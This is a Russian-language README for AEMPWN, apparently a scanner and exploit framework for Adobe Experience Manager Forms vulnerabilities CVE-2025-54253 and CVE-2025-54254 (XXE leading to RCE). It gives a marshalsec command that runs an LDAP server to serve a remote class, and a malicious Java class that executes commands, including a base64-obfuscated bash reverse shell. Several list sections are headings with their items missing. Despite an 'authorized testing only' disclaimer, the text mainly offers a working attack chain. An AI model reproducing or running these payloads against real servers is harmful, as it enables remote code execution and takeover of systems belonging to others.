
CVE-2025-54253 | CVE-2025-54254 | Adobe Experience Manager Forms XXE → RCE Фреймворк
Сканер AEM Forms для CVE-2025-54253 и CVE-2025-54254
AEMPWN — это целенаправленный сканер для выявления высокорисковых уязвимостей Adobe Experience Manager (AEM) Forms с поддержкой безопасного обнаружения, слепого подтверждения внеполосным (OOB) способом и полного цикла проверки эксплойта (PoC). Данный инструмент предназначен только для авторизованного тестирования безопасности.
CVE-2025-54253
Удалённое выполнение кода, зависящее от конфигурации в AEM Forms (JEE)
CVE-2025-54254
Внедрение XML-внешних сущностей (XXE), приводящее к раскрытию файлов и потенциальной эскалации
AEMPWN поддерживает три режима выполнения для согласования с реальными процессами баг-баунти и красных команд.
--poc)Назначение:
Определить небезопасное поведение парсера XML и возможную поверхность эксплойта без выполнения деструктивных действий.
Что проверяется:
Использовать, когда:
Данный режим подходит для раннего триажа и внутренней отчётности.
--oob)Назначение:
Подтверждение слепой XXE через исходящие запросы с сервера AEM.
Важное уточнение:
Burp Collaborator (или аналогичные сервисы) только наблюдают исходящие соединения. Они не могут:
Таким образом, одного Collaborator недостаточно для полной эксплуатации OOB XXE.
Что вам потребуется:
Что доказывается:
--rce)Назначение:
Демонстрация фактического выполнения кода на сервере AEM с воздействием уровня P1.
Этот режим основан на внедрении JNDI через парсинг XML, что требует инфраструктуры за пределами HTTP-колбэков.
Что вам потребуется:
Почему необходим LDAP:
Лучший инструмент: marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-server/#Exploit" 1389
http://your-server/#Exploit = HTTP-сервер, обслуживающий Exploit.class (скомпилированный вредоносный класс).
Пример вредоносного класса (простой touch /tmp/pwned или реверс-шелл):
import java.io.IOException;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
// или реверс-шелл: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");
} catch (IOException e) {}
}
}
Скомпилировать → разместить на HTTP-сервере (том же, что и DTD, или отдельном).
Когда AEM обрабатывает сущность → подключается к вашему LDAP → загружает класс → выполняет код.
Ключевое ограничение:
Burp Collaborator не может:
По этой причине режим RCE не может работать без настоящего LDAP-сервиса.
Burp Collaborator (и аналогичные платформы) полезны только для обнаружения.
Они могут подтвердить:
Они не могут:
Используйте Collaborator для наблюдения, но не для доставки полезных нагрузок.
Подтверждённые находки записываются в выходной файл (по умолчанию: aem-forms-scan.txt) и включают: